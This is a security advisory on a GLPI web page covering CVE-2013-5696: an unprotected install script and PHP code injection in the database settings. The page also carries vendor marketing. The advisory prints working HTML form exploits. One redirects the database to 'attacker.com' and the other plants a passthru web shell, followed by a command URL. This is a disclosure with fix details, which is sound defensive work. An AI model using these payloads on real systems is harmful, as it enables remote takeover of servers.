Total Tests:
Stay in Touch

Get exclusive updates and invitations to our events and webinars:


Your data will stay confidential Private and Confidential

Remote Code Execution in GLPI

Advisory ID:HTB23173
Product:GLPI
Vendor:INDEPNET
Vulnerable Versions:0.84.1 and probably prior
Tested Version:0.84.1
Advisory Publication:September 11, 2013 [without technical details]
Vendor Notification:September 11, 2013
Vendor Fix:September 12, 2013
Public Disclosure:October 2, 2013
Latest Update:September 13, 2013
Vulnerability Type:Improper Access Control [CWE-284]
Code Injection [CWE-94]
CVE Reference:CVE-2013-5696
Risk Level:Critical
CVSSv2 Base Scores:6.4 (AV:N/AC:L/Au:N/C:N/I:P/A:P)
10 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in GLPI, which can be exploited to bypass security restrictions and execute arbitrary PHP code with privileges of web server.

1) Improper Access Control in GLPI
The vulnerability exists due to insufficient access restrictions to the installation script "/install/install.php", which is present by default after application installation. A remote attacker can change application’s configuration, such as database host, forcing the application to connect to an external database and spoof information on the website, obtain access to sensitive information or simply cause a denial of service.
Simple exploit below changes the database hostname to "attacker.com", which forces the application to connect to a malicious database controlled by the attacker:
<form action="http://[host]/install/install.php" method="post" name="main">
<input type="hidden" name="install" value="update_1">
<input type="hidden" name="db_host" value="attacker.com">
<input type="submit" id="btn">
</form>


2) Arbitrary PHP Code Injection in GLPI
The vulnerability exists due to insufficient validation of user-supplied input passed to the "db_host", "db_user", "db_pass", and "databasename" HTTP POST parameters via "/install/install.php" script [that is present by default after application installation] before writing data into "/config_db.php" file. A remote attacker can inject and execute arbitrary PHP code on the vulnerable system.
Simple exploit below injects "passthru($_GET['cmd'])" PHP code into "config_db.php" file allowing a remote attacker to execute arbitrary system command with privileges of the web server:
<form action="http://[host]/install/install.php" method="post" name="main">
<input type="hidden" name="install" value="update_1">
<input type="hidden" name="db_host" value="'; } passthru($_GET['cmd']); /*">
<input type="submit" id="btn">
</form>

After that attacker can access the web shell to execute system commands via the following URL:
http://[host]/index.php?cmd=ls -la; id; pwd;

How to Detect Improper Access Control Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Update to GLPI 0.84.2

More Information:
http://www.glpi-project.org/spip.php?page=annonce&id_breve=307&lang=fr
https://forge.indepnet.net/issues/4480


References:
[1] High-Tech Bridge Advisory HTB23173 - https://www.immuniweb.com/advisory/HTB23173 - Multiple Vulnerabilities in GLPI.
[2] GLPI - http://www.glpi-project.org - GLPI is the Information Resource-Manager with an additional Administration-Interface.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential